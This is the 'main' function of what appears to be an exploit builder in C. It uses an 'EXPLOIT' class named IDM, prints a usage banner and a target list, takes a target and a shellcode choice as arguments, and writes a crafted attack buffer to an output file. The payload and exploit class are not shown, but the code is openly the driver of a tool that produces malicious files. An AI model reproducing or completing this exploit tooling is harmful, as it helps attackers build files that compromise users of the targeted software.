int main(int argc, char *argv[]) { EXPLOIT IDM; int X, shell ; char *Z; char *actbuff; actbuff = (char *)malloc(SIZE); if (argc < 3) { system("cls"); printf("***********************************************************************\n"); IDM.print (); IDM.usage (argv[0]); //Sleep(1000); printf("\n\n"); printf("\t\t\t\tTargets\n"); IDM.target(); printf("************************************************************************\n"); exit (0); } Z = argv[1]; shell = atoi(argv[2]); IDM.write (actbuff, shell, Z); IDM.file (argv[3], actbuff); IDM.print(); printf("Loading ..."); //Sleep(3000); printf ("File build succesfully\n"); return 0; }